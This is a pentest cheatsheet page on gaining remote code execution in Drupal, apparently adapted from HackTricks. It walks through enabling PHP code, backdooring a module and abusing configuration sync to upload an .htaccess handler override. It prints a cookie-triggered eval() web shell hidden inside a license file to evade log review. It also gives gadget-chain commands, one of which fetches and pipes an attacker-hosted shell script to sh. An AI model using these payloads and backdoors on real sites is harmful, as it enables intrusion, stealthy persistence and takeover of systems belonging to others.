daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

drupal-rce.md (14613B)


      1 ---
      2 title: "Drupal RCE"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Drupal RCE
     14 
     15 ## With PHP Filter Module
     16 
     17 > [!WARNING]
     18 > In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default.
     19 
     20 1. Request **`/modules/php`**. A `403` response can indicate that the PHP Filter module exists but directory listing is denied.
     21    1. If necessary and authorized, open `Modules`, enable `PHP Filter`, and select `Save configuration`.
     22 2. Select `Add content`, choose `Basic Page` or `Article`, enter the **PHP backdoor**, choose `PHP code` as the text format, and select `Preview`.
     23 3. Trigger it by requesting the newly created node:
     24 
     25 ```bash
     26 curl http://drupal.local/node/3
     27 ```
     28 
     29 > [!WARNING]
     30 > The two module-installation techniques below apply to older or explicitly enabled administrative workflows. Current Drupal installations do not allow module installation solely through the web interface after the default installation.
     31 
     32 ## Install PHP Filter Module
     33 
     34 From version **8 onward, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. Leveraging this functionality therefore requires installing the module.
     35 
     36 1. Download the most recent version of the module from the Drupal website.
     37    1. `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
     38 2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
     39 3. Click on **`Browse`**, select the file from the directory we downloaded it to, and then click **`Install`**.
     40 4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.
     41 
     42 ## Backdoored Module
     43 
     44 It was possible to **download a module**, add a **backdoor**, and **install** the modified package. For example, download the [**Turnstile**](https://www.drupal.org/project/turnstile) module as an archive, add a PHP backdoor, and use `.htaccess` to permit direct access to the PHP file:
     45 
     46 ```html
     47 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
     48 ```
     49 
     50 And then going to **`http://drupal.local/admin/modules/install`** to install the backdoored module and access **`/modules/turnstile/back.php`** to execute it.
     51 
     52 ## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>
     53 
     54 **Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)<sup>[[1]](#references)</sup>
     55 
     56 ### Part 1 (activation of _Media_ and _Media Library_)
     57 
     58 In the _Extend_ menu (`/admin/modules`), activate installed modules. If _Media_ and _Media Library_ are disabled, enable them.
     59 
     60 Before activation:
     61 
     62 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%284%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
     63 
     64 After activation:
     65 
     66 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
     67 
     68 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%282%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
     69 
     70 ### Part 2 (leveraging feature _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
     71 
     72 We’ll leverage the _Configuration synchronization_ feature to dump (export) and upload (import) Drupal configuration entries:
     73 
     74 - /admin/config/development/configuration/single/export
     75 - /admin/config/development/configuration/single/import
     76 
     77 **Patch system.file.yml**
     78 
     79 Let’s start by patching the first entry `allow_insecure_uploads` from:
     80 
     81 File: system.file.yml
     82 
     83 ```text
     84 
     85 ...
     86 
     87 allow_insecure_uploads: false
     88 
     89 ...
     90 
     91 ```
     92 
     93 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%283%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
     94 
     95 To:
     96 
     97 File: system.file.yml
     98 
     99 ```text
    100 
    101 ...
    102 
    103 allow_insecure_uploads: true
    104 
    105 ...
    106 
    107 ```
    108 
    109 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%284%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    110 
    111 **Patch field.field.media.document.field_media_document.yml**
    112 
    113 Then, patch the second entry `file_extensions` from:
    114 
    115 File: field.field.media.document.field_media_document.yml
    116 
    117 ```text
    118 
    119 ...
    120 
    121   file_directory: '[date:custom:Y]-[date:custom:m]'
    122   file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
    123 
    124 ...
    125 ```
    126 
    127 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%285%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    128 
    129 To:
    130 
    131 File: field.field.media.document.field_media_document.yml
    132 
    133 ```text
    134 ...
    135 
    136   file_directory: '[date:custom:Y]-[date:custom:m]'
    137   file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
    138 
    139 ...
    140 
    141 ```
    142 
    143 > The original blog post does not use it, but notes that an arbitrary `file_directory` value may enable path traversal within the Drupal filesystem tree.
    144 
    145 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%286%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    146 
    147 ### Part 3 (leveraging feature _Add Document_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
    148 
    149 The last step has two parts: upload an `.htaccess` file whose Apache directives make `.txt` files execute through PHP, then upload a `.txt` file containing the payload.
    150 
    151 File: .htaccess
    152 
    153 ```text
    154 <Files *>
    155   SetHandler application/x-httpd-php
    156 </Files>
    157 
    158 # Vroum! Vroum!
    159 # We reactivate PHP engines for all versions in order to be targetless.
    160 <IfModule mod_php.c>
    161   php_flag engine on
    162 </IfModule>
    163 <IfModule mod_php7.c>
    164   php_flag engine on
    165 </IfModule>
    166 <IfModule mod_php5.c>
    167   php_flag engine on
    168 </IfModule>
    169 ```
    170 
    171 Why is this trick cool?
    172 
    173 Once the web shell (named `LICENSE.txt`) is on the server, commands can be supplied through `$_COOKIE`; the access log then resembles a normal `GET` request for a text file.
    174 
    175 Why name our Webshell LICENSE.txt?
    176 
    177 Drupal core already contains a comparatively large [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt), so a small PHP snippet inserted into a copied license file is less conspicuous during a superficial review.
    178 
    179 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%287%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    180 
    181 File: Patched LICENSE.txt
    182 
    183 ```text
    184 
    185 ...
    186 
    187 this License, you may choose any version ever published by the Free Software
    188 Foundation.
    189 
    190 <?php
    191 
    192 # We inject our payload into the cookies so that in the logs of the compromised
    193 # server it shows up as having been requested via the GET method, in order to
    194 # avoid raising suspicions.
    195 if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
    196     if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
    197         eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
    198     } else {
    199         phpinfo();
    200     }
    201 }
    202 
    203 ?>
    204 
    205   10. If you wish to incorporate parts of the Program into other free
    206 programs whose distribution conditions are different, write to the author
    207 
    208 ...
    209 
    210 ```
    211 
    212 #### **Part 3.1 (upload file .htaccess)**
    213 
    214 First, we leverage the _Add Document_ (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
    215 
    216 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%288%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    217 
    218 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%289%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    219 
    220 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2810%29%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    221 
    222 **Part 3.2 (upload file LICENSE.txt)**
    223 
    224 Then, we leverage the _Add Document_ (/media/add/document) feature again to upload a Webshell hidden within a license file.
    225 
    226 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2811%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    227 
    228 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2812%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    229 
    230 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2813%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    231 
    232 ### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
    233 
    234 The last part consists of interacting with the Webshell.
    235 
    236 As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
    237 
    238 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2814%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    239 
    240 When the attacker sets the cookie, they can interact with the web shell and execute commands.
    241 
    242 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2815%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    243 
    244 In the access logs, the request appears to target only a `.txt` file.
    245 
    246 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2816%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
    247 
    248 Thank you for taking the time to read this article, I hope it will help you get some shells.
    249 
    250 ## Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
    251 
    252 Two advisories published **20 Nov 2024** (CVE-2024-55637 & CVE-2024-55638) describe new **PHP object gadget chains in Drupal core** (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are **not directly exploitable** but give attackers a ready-made chain once any contrib/module performs `unserialize()` on user input.<sup>[[2]](#references)[[3]](#references)</sup>
    253 
    254 Practical exploitation workflow:
    255 
    256 1. **Find the unserialize sink** (contrib module or custom code). Grep codebase for `unserialize(` or `Drupal\Component\Serialization\PhpSerialize::decode`. Target endpoints that accept POST/JSON or configuration imports.
    257 2. **Generate a payload** using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
    258 
    259 ```bash
    260 ./phpggc drupal/rce2 system 'id' > payload.ser
    261 ```
    262 
    263 3. **Deliver the serialized blob** to the sink (e.g., parameter that gets deserialized). For a form-encoded body:
    264 
    265 ```bash
    266 curl -X POST https://target/admin/config/some/module \
    267      -d "serialized_setting=$(cat payload.ser)"
    268 ```
    269 
    270 4. **Trigger destruction** (often automatic at end of request) and execute the command.
    271 
    272 Notes for testing:
    273 
    274 - Gadget works only on versions **prior to 10.2.11 / 10.3.9 / 7.102** (patched). Verify target version via `/core/lib/Drupal.php` or `CHANGELOG.txt`.
    275 - Third‑party DB drivers may need extra hardening; look for deployments that skipped the security update window.
    276 
    277 ## Recent contrib-module unsafe deserialization → RCE
    278 
    279 Several contributed modules fixed insecure `unserialize()` paths in late 2024. If a site is missing these updates, they may provide the exploitable sink required by the core gadget chain:
    280 
    281 - **Mailjet** (<4.0.1, CVE-2024-13296): admin-controlled data passed to `unserialize()`, enabling **PHP Object Injection → RCE** when chained with the core gadgets.<sup>[[4]](#references)</sup>
    282 - **Eloqua** (7.x-1.x < 1.15, CVE-2024-13297): similar unsafe `unserialize()` usage reachable by users with `access administration pages`.<sup>[[5]](#references)</sup>
    283 
    284 Testing idea (authenticated):
    285 
    286 ```bash
    287 phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
    288 curl -b session=ADMINCOOKIE \
    289      -F "import=@p.ser" https://target/admin/config/eloqua/import
    290 ```
    291 
    292 If the module deserializes the uploaded data, the gadget chain yields RCE. Combine with XSS/CSRF to steal admin cookies for a full attack chain.
    293 
    294 ## References
    295 
    296 - [1] [B19: How to backdoor Drupal (new versions) like a bro](https://therealcoiffeur.com/b19.html)
    297 - [2] [Drupal core – gadget chain – SA-CORE-2024-007](https://www.drupal.org/sa-core-2024-007)
    298 - [3] [Drupal core – gadget chain – SA-CORE-2024-008](https://www.drupal.org/sa-core-2024-008)
    299 - [4] [Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062](https://www.drupal.org/sa-contrib-2024-062)
    300 - [5] [Eloqua module – arbitrary PHP code execution – SA-CONTRIB-2024-063](https://www.drupal.org/sa-contrib-2024-063)